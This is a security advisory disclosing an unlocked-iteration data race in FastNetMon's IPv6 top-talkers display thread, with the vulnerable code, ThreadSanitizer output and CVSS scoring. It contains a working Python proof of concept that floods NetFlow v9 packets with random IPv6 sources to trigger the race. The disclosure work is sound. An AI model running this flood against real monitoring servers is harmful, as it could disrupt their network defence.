Skip to content

IPv6 host counters map iterated without lock, racing concurrent inserts

Moderate
pavel-odintsov published GHSA-phrw-2q76-5m7h Jul 20, 2026

Package

fastnetmon (Package)

Affected versions

<= 1.2.9

Patched versions

None

Description

Summary

FastNetMon's IPv6 top-talkers screen-draw thread iterates a shared counters map without holding its mutex, while a separate timer-driven thread inserts new keys (and triggers hashtable rehashes) into the same map under the correct lock. Confirmed via ThreadSanitizer: the read side has zero lock coverage.

Details

draw_table_ipv6() (src/fastnetmon_logic.cpp:2095-2107):

{
    std::lock_guard<std::mutex> lock_guard(ipv6_host_counters.counter_map_mutex);
    size_of_ipv6_counters_map = ipv6_host_counters.average_speed_map.size();
}   // <-- lock released here
...
for (const auto& metric_pair : ipv6_host_counters.average_speed_map) {   // <-- iterated with NO lock held

recalculate_speed() (timer-driven, fastnetmon.cpp:1567) correctly locks the same mutex while inserting new IPv6 hosts, which can trigger an unordered_map rehash - invalidating any concurrent unlocked iterator.

PoC

#!/usr/bin/env python3
"""Focused stress test for the IPv6 host-counters map race: floods distinct IPv6 source addresses via NetFlow v9
to force continuous insertions into ipv6_host_counters.average_speed_map, racing against
the periodic (check_period=1s) unlocked iteration in draw_table_ipv6()."""
import socket, struct, sys, threading, time, random

DEST_IP = "127.0.0.1"
PORT = 2055
SOURCE_ID = 42
TEMPLATE_ID = 700
stop_flag = threading.Event()


def netflow_header(flowset_count, seq):
    return struct.pack(">HHIIII", 9, flowset_count, 0, 0, seq, SOURCE_ID)


def ipv6_template_flowset(template_id):
    body = struct.pack(">HH", template_id, 1) + struct.pack(">HH", 27, 16)  # NETFLOW9_IPV6_SRC_ADDR
    return struct.pack(">HH", 0, 4 + len(body)) + body


def ipv6_data_flowset(template_id, n_records=16):
    body = b""
    for _ in range(n_records):
        body += bytes([0x20, 0x01, 0x0d, 0xb8]) + bytes(random.randint(0, 255) for _ in range(12))
    return struct.pack(">HH", template_id, 4 + len(body)) + body


def worker(sock, duration, thread_id):
    seq = thread_id * 1000000
    count = 0
    end = time.time() + duration
    while time.time() < end and not stop_flag.is_set():
        seq += 1
        if count % 50 == 0:
            pkt = netflow_header(1, seq) + ipv6_template_flowset(TEMPLATE_ID)
            try: sock.sendto(pkt, (DEST_IP, PORT))
            except OSError: pass
        pkt2 = netflow_header(1, seq) + ipv6_data_flowset(TEMPLATE_ID)
        try: sock.sendto(pkt2, (DEST_IP, PORT))
        except OSError: pass
        count += 1
    print(f"[worker-{thread_id}] sent {count} data packets")


def main():
    duration = float(sys.argv[1]) if len(sys.argv) > 1 else 60
    threads = [threading.Thread(target=worker, args=(socket.socket(socket.AF_INET, socket.SOCK_DGRAM), duration, i))
               for i in range(4)]
    print(f"Starting 4 IPv6-flood threads for {duration}s targeting {DEST_IP}:{PORT}...")
    start = time.time()
    for t in threads: t.start()
    for t in threads: t.join()
    print(f"Done in {time.time() - start:.1f}s")


if __name__ == "__main__":
    main()

Precondition: networks_list must include an IPv6 range covering the crafted addresses (2001:db8::/32) - otherwise the daemon silently drops them as un-monitored and no counters are ever touched (a real gotcha hit during testing).

Server-side result (ThreadSanitizer build; 67 warnings total across the test run, 26 directly involving draw_table_ipv6):

WARNING: ThreadSanitizer: data race (pid=72)
  Write of size 8 by thread T6 (mutexes: write M1437):
    #5 abstract_subnet_counters_t<...>::recalculate_speed(...) abstract_subnet_counters.hpp:163
    #6 recalculate_speed() fastnetmon_logic.cpp:1977
    #7 recalculate_speed_thread_handler() fastnetmon.cpp:1567

  Previous read of size 8 by thread T5:                       <-- no "(mutexes: ...)" at all
    #3 draw_table_ipv6[abi:cxx11](...) fastnetmon_logic.cpp:2105
    #4 traffic_draw_ipv6_program() fastnetmon_logic.cpp:1491
    #5 screen_draw_ipv6_thread() fastnetmon.cpp:1556

  Location is global 'ipv6_host_counters' of size 152

TSan's own per-access mutex annotation confirms the exact diagnosed asymmetry: the writer holds a lock, the reader (draw_table_ipv6, line 2105) holds none.

Caveat: across ~3 minutes of sustained flooding, the daemon did not crash in this test window (it stayed in a running state throughou-). The race is real and tool-confirmed — ThreadSanitizer's own mutex analysis independently verifies the exact missing-lock mechanism — but a hard process crash from it was not observed, so this should be disclosed as "confirmed race, DoS reliability not established" rather than a guaranteed crash.

Impact

Confirmed data race on live hashtable internals during a concurrent rehash. Primary observed effect: undefined behavior flagged by ThreadSanitizer on every run under load; a hard crash (iterator invalidation into unmapped memory) is plausible but was not observed in testing, so DoS impact should be described as "likely, not proven reliable" rather than guaranteed.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
High
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
None
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

CVE ID

No known CVE

Weaknesses

Concurrent Execution using Shared Resource with Improper Synchronization ('Race Condition')

The product contains a concurrent code sequence that requires temporary, exclusive access to a shared resource, but a timing window exists in which the shared resource can be modified by another code sequence operating concurrently. Learn more on MITRE.

Credits